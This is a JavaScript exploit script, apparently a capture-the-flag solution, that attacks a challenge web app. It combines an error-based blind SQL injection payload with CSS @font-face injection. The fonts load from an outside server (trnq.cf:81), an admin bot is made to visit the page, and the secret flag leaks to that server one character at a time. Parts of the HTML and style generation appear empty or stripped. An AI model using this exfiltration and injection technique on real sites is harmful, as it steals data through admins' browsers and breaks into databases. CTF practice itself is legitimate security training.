const fetch = require('node-fetch');
var flag = 'nn9ed{'
var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'
// Generates definitions for fonts
function generateFonts() {
let s = ''
for (let i = 37; i < 127; i++) {
s += `@font-face{
font-family:'l-${i}';
src:url('//trnq.cf:81/l/${i}');
unicode-range:U+0041;
}
`
}
return s;
}
// Generates rules for each object element
function generateRules() {
let s = ''
for (let i = 37; i < 127; i++) {
s += `#o${i}{
font-family: 'l-${i}'
}
`
}
return s;
}
function generateStyle() {
return '';
}
// generates unique objects
function generateObjects(offset) {
let s = ''
for (let i = 37; i < 127; i++) {
s += `
`
}
return s;
}
async function createhtml(offset) {
let r = await fetch(base_url + "createhtml", {
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
method: "POST",
body: JSON.stringify({ html: generateStyle() + generateObjects(offset) })
});
let html = await r.text();
return html;
}
const sleep = d => new Promise(r => setTimeout(r, d));
async function run(offset) {
// reseting currently fetched characters
await fetch('http://trnq.cf:81/reset');
// sending payload
let msg = await createhtml(offset);
let token = /readhtml\/([^"]+)/.exec(msg)[1]
// reporting payload to admin
await fetch(base_url + 'report/' + token)
while (1) {
await sleep(500);
// geting chars from my server that were not sent by an admin
let t = await fetch('http://trnq.cf:81/get_char').then(d => d.text())
// console.log(t)
// waiting for only one character missing which is a character of the flag.
if (t.split(',').length == 1) {
flag += String.fromCharCode(t);
console.log(flag);
return run(flag.length + 1)
}
}
}
var flag = 'nn9ed{'
run(flag.length + 1);
/*
*/